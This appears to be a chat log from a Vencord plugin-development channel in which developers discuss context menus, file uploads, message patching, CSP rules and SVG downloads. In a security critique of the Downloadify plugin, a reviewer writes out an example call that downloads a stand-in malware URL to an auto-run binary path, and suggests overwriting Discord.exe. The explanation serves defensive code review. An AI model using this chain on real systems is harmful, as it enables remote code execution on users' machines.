then you will need to find the component itself, usually it's the default export in that newly loaded module. You can for example use findComponentByCodeLazy, although some context menus share the same code with a curried base component
const ThreadContextMenu = findComponentByCodeLazy<{ channel: Channel }>("...");
and finally, you can open the context menu like so:
<div
onContextMenu={e =>
ContextMenuApi.openContextMenuLazy(e, () =>
requireThreadContextMenu().then(() => menuProps => (
<ThreadContextMenu channel={channel} {...menuProps} />
))
)
}
/>
the e argument is this case is a mouse event, you can probably construct your own object if you need to open a context menu in an arbitrary place on the screen
I’m looking for anyone who has worked on or would like to work on the usrbg plugin, I’m updating things on the backend and there are some new features to be added to the plugin but I’m not a plugin dev and it seems somewhat unmaintained
yes, what would you like to add
you should probably know that your backend needs to handle a lot of traffic as soon as vencord supports it
but maybe a bit less since people need to open profiles for it
Vencord already has a plugin
is there a way to get localized string for a built in discord feature? since "lock post" and "lock thread" already exists in discord it should be translated, so how can i access this translation?
I want to add the ability to make requests from inside the plugin settings menu, it needs to do oauth and then store a token locally and use that to make api requests
You can use getIntlMessage, there's a list of keys pinned in #👾-core-development
Or getIntlMessageFromHash if you have the hashed key
thank you 
it would be better to just make your own website using oauth and direct users there
That will be the primary method, it seems that it’s possible to do in-client as well similar to I think decor
well yes but it only requests on start
depending on what u do it will do more requests and more traffic
It prefetches all the images?
huh
I’m not sure I understand
Looking at it now, it fetches a list of users and then builds urls from that right?
So it’s just querying the user endpoint once at startup then loading images on-demand
is there a way to expose webUtils.getPathForFile to a plugin without modifying Vencord files such as preload.ts?
wtf is that
oh
why do you need that
what would you do with the path
I'm trying to rework #1272186590214619281to avoid crashes that ArrayBuffer can introduce (mainly due to RAM limitations) by streaming selected files directly from disk via OS file path access
the path isnt gonna help you
your best bet is gonna be registering a file protocol
then just
const res = await fetch("big-file-upload://currentFile");
res.body // ReadableStream
should work
the question is does drag and drop specify/store "big-file-upload://currentFile"?
cause the issue I'm having is with getting it to work with drag and drop functionality. I got OS level streaming to work via button since it just uses the native file selector
show code
and idk what u mean by this
what would you even do with the full path in the renderer
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
send it to the main process where it will be used for streaming from disk
which is
const stream = fs.createReadStream(path);
yeah this is why I asked
this is incredibly unsafe
you must not expose a native function that allows uploading arbitrary files
you need to move all your logic to main
file picker in main, upload in main, only send final url back
// index.ts
<Button onClick={async () => {
const urls = await Native.startUpload();
console.log(urls);
}}>Upload</Button>
// native.ts
export async function startUpload() {
const result = await dialog.showOpenDialog(mainWin, { properties: ["openFile"] });
if (result.canceled) return;
const urls = await doUpload(result.filePaths);
return urls;
}
the renderer should not have any access to files
you're completely breaking the sandbox
so just totally avoid having drag and drop functionality and keep it button/selector only?
yea
I was afraid that'd be the case, but oh well
security matters more than convenience after all
i mean you can support drag and drop / paste for smaller files and just send the buffer from renderer to main
and also have an upload button for larger files
yeah I was thinking that, I'd just have to set a file size limit
Anyone know a reliable way to get asset details given a skuId?
// Twilight Grove Profile Effect
findStore("ProfileEffectStore").getProfileEffect("1282816431985004594")
This works for Profile Effects but only once the client has called the /user-profile-effects endpoint.
I can't find a similar store for Avatar Decorations.
// Dart Monkey Avatar Decoration
findStore("CollectiblesCategoryStore").products.get("1428085489285599233")
This appears to work for both Profile Effects and Avatar Decorations, but only once the shop has been loaded and only for items currently in the shop, which rules out a lot of Avatar Decorations in particular.
Ah, found the endpoint.
await RestAPI.get({
url: "/collectibles-products/1282816431985004594",
})
wish there was a way to batch it
Is there any plugin for exterminating the top bar or am I gonna have to make it myself?
I don't think there's one right now. I've wanted to make one for a while but never really got around to it
Insane
Way too many edge cases
I'll make one then
Well that wasn't too hard
It has a weird bug where the buttons move 2px to the left when selecting the friends list though
Or rather, anything without a search bar? Not sure
Hm, no perms for #1256395889354997771, who do I poke?
bug @hoary pilot or make a modmail
Thanks
Hello people. I was wondering if anyone has done anything with video related with like vc camera and stuff like that. Like I want to add custom overlays during a call to my user camera (ofc this would be client sided)
that would probably be something you should do with obs virtual camera
Well, that would be easy to do but I should be more specific that I wanted to implement so discord things into the camera.
discord things being what exactly
Or on a different note, like a context menu that allows you to add different filters to the camera using css filters (ex: vignette, grayscale), or hide my own camera cause discord doesn’t allow you to hide your own camera
Like inclient related thing such as context models with different buttons (i know how to do that). I'm more looking for help targetting the Tile of our own user when using a camera.
oops, sorry for the ping lol. I forget its on by default
Cause I can just use css to target such:
.tileContainer__2aff1 div[data-selenium-video-tile="my_id_here"] {
/* whatever */
}
you can do all that in obs virtual camera
css is only client side
I know, that’s why I said it would be client sided
Imagine walking into mc donalds and they tell you to get your fries at burger king because "it tastes better there"
It's more like if you walked into McDonald's and tried to go behind the counter and make a whopper in their kitchen and then they tell you to just go to burger king because they already do it
Heyy
I'm trying to make a plugin that would enable this script https://gist.github.com/aamiaa/204cd9d42013ded9faf646fae7f89fbb on detection of a quest accepted
I know this isn't a plugin supported by vencord, I hope i'm allowed to have help to dev this anyway
Is there somewhere I could find complete documentation ? i'm a little bit lost (probably missing some knowledge but I want to learn)
for example i'm Trying to understand how findByProps works (to fetch the api precisely) and it's a pain
Just did a test with something, pnpm run build, then change the vesktop directory to my Vesktop/dist and restart vesktop but now when I launch vesktop it's vanilla discord apart from the name
Any idea about what happened ?
Looking at the vencord docs, in the section for setting vesktop to the dev build of vencord it says to change vencord location in the vesktop settings section
wait nvm im mega blind its been moved into a button
was gonna say i couldn't find it 
okay actually this might be an issue
searching for json2ts also does not locate it
in vs code ?
just search for json2ts you'll find it
and check if it has the same number of installs as the one linked on the documentation
i did
oh wait then that's strange it appeared for me like 4h ago
i'l neither i'm surprised about the ones peoposed to you, there are other with a similar name too
you dont need it
maybe its because im using code package for vscode? idk if that would affect the available plugins or not
are you using code-oss or vscodium
they use a different marketplace that's missing many extensions
got it ty
microsoft has cringe terms that only official branded (proprietary) vscode may use the official microsoft marketplace
so code oss doesnt use it
and this package gets away with it how..? 
who cares about microsoft terms
by simply not giving a shit
anyway you really dont need that extension dw
it's just nice to have
yea but convenience is convenience
like hey this saves me from writing my own utility to automate it
Is it because my laptop's weak or how do you open dev tool without crashing your browser ?
each time I try to find an element it crashes
@dull magnet assuming i want this vlc plugin thing to be included with vencord in some way should i put it in src/plugins or is there some way to have it only be included with vesktop since that's what needs the workaround anyway
just make it a user plugin for the time being
ah alrighty
wait but
wouldn't that require people to build vencord themselves to use it

since those are built in src/userplugins
like thats fine its just ideally this should be piss easy to install since its not like only 4 people who are all linux nerds who know how to build from git are having this specific issue
it is pretty frustrating how userplugins reset nearly every time I open vesktop, they just get disabled for some reason and I have to manually open the plugins menu, search for my plugin and re enable it again
is this an issue on my part or is anyone else experiencing this
That's not normal, no
should a plugin id just be determined at random or what
?
wdym plugin id
That's your discord user id
your user id
it's used for the plugin modal to show your pfp in authors and to give you the proflle badge
click on the vencord logo badge in my profile
How can I add a button to the message right-click menu?
no, it's like going to mcdonalds and asking for something healthy and them telling you to go somewhere else
guys it's nothing like going to McDonald's
It's like going to the hardware store and asking for a cheeseburger
It's like doing create-react-app and expecting a SvelteKit project
ok i think i got all of the functionality implemented
i just need to figure out how to patch in clicking on a video causing my logic to run 
huhh ok i kinda understand how this patching thing works but like
how the fuck do i get it to run code from my plugin
wanted to make so it would just
open vlc when attempting to play video
but sure context menu entry works i guess 
uhh how would i go abt doing that actually
hmm
looking how reviewdb does it and it seems to want something that extends DiscordRecord but there doesn't seem to be one for images/videos unless im blind
that or i am very much so misunderstanding how this works
uhh 
but i am..?
src/userplugins/vlcWorkaround/native.ts:7:32:
oh wait im importing into the browser code wrong
oh i get this now
i don't eat fast food and forgot a whopper is from burger king not mcdonalds
Hello, I'm making a plugin that should update messages locally for certain purposes, but after I send a message update event, I get an error (the message is updated at the same time), but if I log back into the channel after a while, Discord crashes 
I also tried not to change anything in the message except for embeds[0], but there are errors related to 'in' in 'flags'. I don't quite understand how to update the embed in the message locally so that there are no errors, I hope for your help 
I get events like this:
flux: {
MESSAGE_CREATE({ channelId, message }: { channelId: string; message: Message; }) {
if (channelId !== root.TARGET_CHANNEL_ID) return;
if (message.type !== 0 || message.embeds?.length === 0) return; // @ts-ignore
this.checkMessage(message);
},
CHANNEL_SELECT({ channelId }: { channelId: string; }) {
if (channelId !== root.TARGET_CHANNEL_ID) return; // @ts-ignore
setTimeout(() => this.checkChannelMessages(), root.WAIT_TIME);
}
},
I'm trying to update messages this way:
FluxDispatcher.dispatch({
type: "MESSAGE_UPDATE",
message: message,
channelId: root.TARGET_CHANNEL_ID
});
Are there any methods to safely update messages temporarily? (Let's say, for 10 seconds while the channel is open, and then revert the state back.)
your best bet is patching the message renderer
or if you just want to add some text, use an accessory
look at the translate plugin or similar
Okay, thank you very much, I'll take a look 
there's also an updateMessage util in vencord but idk if it can be used for this
(have to add dependency if you use this)
Thank you so much for suggesting this, it really helped me, no more errors 
hi - in the whoReacted plugin whats the reasoning behind stopPropagation in handleClickAvatar?
why not just have like a pointerEvents: "none" in the div style there
can i make a PR or is this a deliberate choice
why
because clicking on the avatar does absolutely nothing other than prevent me from reacting
like is that intended
it's supposed to open the profile
oh so its a bug
ok so how can i just add a simple button to the message right-click menu, it cant be that hard right?
You can go to Settings > Vencord and enable React Developer Tools. Then any time you full restart your client (quit and start) you'll need to reload it (ctrl+r) an extra time (electron bug) and then the debugger will show up in your ctrl+shift+i dev tools.
The new tab is "Components" and you can use it to inspect things like context menus. If you traverse the hierarchy you'll find somewhere that a navId is defined. You can use this navId to patch that specific type of context menu.
export default definePlugin({
name: "...",
description: "...",
authors: [...],
settings,
MessageContextMenu,
contextMenus: {
"message": MessageContextMenu,
},
Then just find some other plugin that is already patching it and see how they do it.
Use the context menu API, have a look at how existing plugins like Translate do it
ok thanks for telling me which plugins already do it that helps
There's a couple of others but my vencord is broken and I've been too lazy to update so I can't remember what they are lol
import { findGroupChildrenByChildId, NavContextMenuPatchCallback } from "@api/ContextMenu";
import { Devs } from "@utils/constants";
import definePlugin from "@utils/types";
import { Message } from "@vencord/discord-types";
import { Menu } from "@webpack/common";
import { TranslateIcon } from "../translate/TranslateIcon";
const messageCtxPatch: NavContextMenuPatchCallback = (children, { message }: { message: Message; }) => {
const group = findGroupChildrenByChildId("copy-text", children);
if (!group) return;
group.splice(group.findIndex(c => c?.props?.id === "copy-text") + 5, 0, (
<Menu.MenuItem
id="sob"
label="button"
icon={TranslateIcon}
action={async () => {
console.log(message);
}}
/>
));
};
export default definePlugin({
name: "MassDownloadAttachments",
description: "Allows for downloading all attachments from a message at once.",
authors: [Devs.loudsynth],
contextMenus: {
"message": messageCtxPatch
}
});
ok i now have this but it doesnt do anything, have i misunderstood something?
unsure, it seems right
i think you have to call messageCtxPatch in contextMenus
You can't, you don't have the args to pass
I'd just add a bunch of logging and see what's what then go from there
hold on, messageCtxPatch is supposed to return patchcallback
don't mind them they're just wrong
then tell me what the correct way is 😭
oh
looking at ViewRaw, there are two different functions, one does seem to return a function and another doesn't
oh wait im stupid
yeah it's basically the same thing
🙏
so what's the solution now
try this #🧩-plugin-development message
my problem now is that it doesnt appear on messages which are only images (or embeds or attachments or just all messages which dont have text), how can i make it appear on all messages?
ah wait i understand it lol
are gifs the only type of media that are embeds but not attachments?
or are there more?
because there won't be a copy text button
yeah i figured that out myself xd
i just use "copy-link" now
I'm working on a plugin which integrates Discord more closely with pluralkit, and as part of that, I am replacing a user's profile picture with the profile picture currently set in pluralkit. However, with Vencord's CspPolicies, images can only be loaded from allowed URLs. Most image URLs will be either from Discord's CDN or Pluralkit's CDN, but users can set the profile picture to be from any URL, and globally enabling images seems like it probably isn't the best idea. Is there a way I could add one-time exceptions for profile picture URLs? Or would it be best to make no exceptions at all and restrict profile pictures to only come from known safe URLs
you cant no, and you shouldn't
that's very insane design from them to allow any image url
gotcha, and fair enough
I'll just keep my CspPolicies to allowing pluralkit's own domain and nothing extra
I'll note that down and look into that at some point, thanks for the suggestion
patch or something
is there a way to call a function from a renderer file from native through ipc? I just need it to return a bool.
need access to DOMParser from the native .-.
declare it on your plugin object then just evaluateJavascript from main
maybe one day I will port ipc commands from vesktop to vencord
wdym evaluateJavascript
also that would kinda bypass the point of this function. im trying to validate that an svg isnt a virus and if this is on the plugin object it could be overwritten to always return safe 🤔
cause im allowing downloading svgs. but you can call the download function with any args so i have to vaidate the input isnt evil
for urls it's easy to just check "is this a whitelisted domain?" but for data blobs I kinda gotta evaluate the svg html 🤔
why do you need to validate it though
what would be the harm in someone saving a malicious svg
could you not just lie about it being an svg and instead have it be evil virus data
I really don't understand what you're trying to do
you can already send arbitrary files on discord and have users download them
maybe im trying to prevent something that isnt really an issue but google seemed to think malicious svgs do exist so idk
true
good point
what are you making exactly
still working on downloadify rewrite
which does what exactly
adds downloads to a ton of context menus and adds context menus where there arent currently
does the download option just prompt the user to save the file by opening the file save dialog?
show your code
you already yelled at me for how virusable this was in the ticket so im rewriting it lol
if your plugin allows the renderer to save to arbitrary locations then that's bad but I already told you that in the ticket yeah
ill just not validate svgs ig
it's not arbitrary
anymore anyways
original it was
the location is decided in the download function now
the main danger of svgs is that they can contain script tags and similar things
it's just untrusted html
if you do Node.innerHTML = unsafeSvg that's xss territory
but saving a svg file to disk is harmless
/** Determine the source of an asset based on its URL. */
export function getAssetSource(url: URL): AssetSource {
if (url.protocol === "data:" && url.pathname.startsWith("image/svg+xml")) {
try {
const dataUrlContent = url.href.substring(url.href.indexOf(",") + 1);
let svgString: string;
if (url.pathname.includes(";base64")) {
svgString = atob(dataUrlContent);
} else {
svgString = decodeURIComponent(dataUrlContent);
}
if (isSVGSafe(svgString)) {
return AssetSource.DATA_SVG;
}
} catch (e) { }
}
was trying to do this but this is called in native so isSVGSafe was failing due to DOMParser
it's the same risk as saving a html file
/** Determine the source of an asset based on its URL. */
export function getAssetSource(url: URL): AssetSource {
if (url.protocol === "data:" && url.pathname.startsWith("image/svg+xml")) {
return AssetSource.DATA_SVG;
}
will just do this ig
idek how many inlined svgs imma use this on lol I just saw the booster icon earlier and got distracted on a side quest to make it downloadable
if you're just downloading discord svgs then there's nothing to worry about anyway
well yeah but you could call it from command line with any args is the thing
hence the attempt to validate it
well yeah fair
don't worry about it though, your file system interactions are much more important to worry about
ping me once you're done with it and I'll have a look
export interface AssetInfo {
alias: string;
animatable: boolean;
urls: { primary: string; secondary?: string; };
mime: string | null | undefined;
classifier: AssetType | string | null | undefined;
size: number | null;
profileEffect?: ProfileEffect;
}
/** First step in downloading a file. */
export async function download(
_: Electron.IpcMainInvokeEvent,
asset: AssetInfo,
overwriteFiles: boolean,
allowUnicode: boolean,
): Promise<DownloadResponse> {
what all gets passed to the native rn
just push to github
will when closer to done. rewrite has like half the old code commented out lingering
did equicord really add this plugin as it is in this repo
https://github.com/EtorixDev/downloadify
already gonna have to squash all my commits before pushing cause they're so ugly
yeah lol
security hazard 
skill issue
vee loves old UserpluginInstaller
one line sandbox escape into arbitrary code execution on the host system
I love how the developer client auto re-enables "Disable cache" every restart which disables caching while the dev tools is open. I thought I broke something while working on these context menus cause it was spamming network requests like crazy 😭
if another plugin in Equicord were to have an xss vulnerability (happened before in some other client mods so it's not that unlikely, especially cause equicord devs clearly aren't that good at security if they merged this plugin), people could use this combined with your plugin natives to run malware on your system by just sending you a message
discord csp has no protection against xss either
this is just a security hazard waiting to happen
VencordNative.pluginHelpers.Downloadify.downloadURL("https://malware.exe", "some existing binary path that will be run automatically at some point")
for the file just try a list of commonly installed binaries with static paths, windows security is bad so there are many user writable paths with binaries
or better yet find a way to get the AppData folder path and you can overwrite Discord.exe directly and just relaunch discord to immediately execute it
your plugin's default directory setting is very likely to have the users home directory in it, so there you go
tell me how you really feel 😭
wdym
it's an expression for when someone has ripped into you by being blunt with their thoughts
it's made me even more aware of how annoyingly discord's assets are stores and served
nameplates and especially profile effects are pain
what's annoying about it?
you dont always get the sku so you need to query the shop which isnt guaranteed to have it either and oh my god the shop api returns are a nightmare
and then the assets for profile effects are a thumbnailSrc and then an array of (seemingly only ever 2?) other urls which aren't consistently labeled
so ive just gone and labeled them primary and secondary
me when i write to shell:startup
and the way they store unicode emoji data is so agony
export const emojiData = findLazy(m => m.emojis && Array.isArray(m.emojis));
/**
* Get the SVG path of a Unicode Emoji.
*/
export function getUnicodeEmojiPath(emoji: string): string | null {
const emojiID = emojiData.surrogateToEmoji[emoji];
const emojiObj = !emojiID ? null : (EmojiStore.getDisambiguatedEmojiContext() as any).disambiguatedEmoji[emojiID];
const emojiURL = emojiObj?.url as string | undefined;
return emojiURL ?? null;
}
kid named findByProps("getURL", "applyPlatformToThemedEmojiColorPalette").getURL("🥺")
me when i write to bios after hijacking any number of bullshit ring 0 "anticheat" currently in use
Oh wow, someone actually did a plugin based off my old feature request lmao
hey so, I'm trying to get started making a plugin, from the starting-point of "I have plenty of coding experience and have done discord bots before, but haven't done any client plugins".
I've looked through the rather sparse vencord "creating plugins" docs, and managed to find this guide, but it seems a bit out of date, and I'm having trouble getting from the point of "find a component in devtools" to "actually find the useful component identifiers in the code". anyone got any tips?
there's just... a lot of obfuscated functions to jump through 😅
oooh wait, companion plugin? well that looks helpful
Use @hushed loom's version of the dev companion, it's peak 
real
where does one find that?
https://marketplace.visualstudio.com/items?itemName=sadan.vencord-user-companion
https://github.com/sadan4/vc-userDevTools/tree/main
any specific component you're looking for?
trying to do some username stuff - which it looks like might actually have some broader-scope functions to hook into, from looking at some other plugins
neat the dev extras tab got its own button. no longer grouped with the bug button
that is A Lot of orbs
:)
either ive completed 100 quests as of just a few min ago or discord caps the api response at 100
considering these were definitely not my oldest quests I guess discord only sends the 100 latest. lame
(async () => {
try {
const [claimedResponse, meResponse] = await Promise.all([
RestAPI.get({ url: "/quests/@me/claimed" }),
RestAPI.get({ url: "/quests/@me" })
]);
const allClaimedQuests = claimedResponse.body.quests;
const allActiveQuests = meResponse.body.quests;
const excludedQuestIds = meResponse.body.excluded_quests.map(q => q.id);
const excludedQuestPromises = excludedQuestIds.map(questId => RestAPI.get({ url: `/quests/${questId}` }));
const excludedQuestResponses = await Promise.all(excludedQuestPromises);
const allExcludedQuests = excludedQuestResponses.map(res => res.body);
const questRecord = {};
const addQuestToRecord = (quest) => {
if (!quest || !quest.id) return;
const { user_status, ...questData } = quest;
questRecord[quest.id] = questData;
};
allClaimedQuests.forEach(addQuestToRecord);
allActiveQuests.forEach(addQuestToRecord);
allExcludedQuests.forEach(addQuestToRecord);
const jsonString = JSON.stringify(questRecord, null, 2);
const blob = new Blob([jsonString], { type: 'application/json' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = 'quests.json';
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
} catch (error) {
console.error("Failed to fetch and process quest data:", error);
}
})();
If anyone here has done any quests and would like to help me out then that'd be neat.
Just run this in your console (ctrl+shift+i) and then send me the json it prompts you to download.
It will just be data on the quests you've completed and nothing identifying. It drops the user_status field. I'm just trying to get an as complete list of past quest data as possible since I couldn't find a resource for it anywhere.
idk if this website has all the quests, but there are around 130 https://yapper.shop/?page=quests




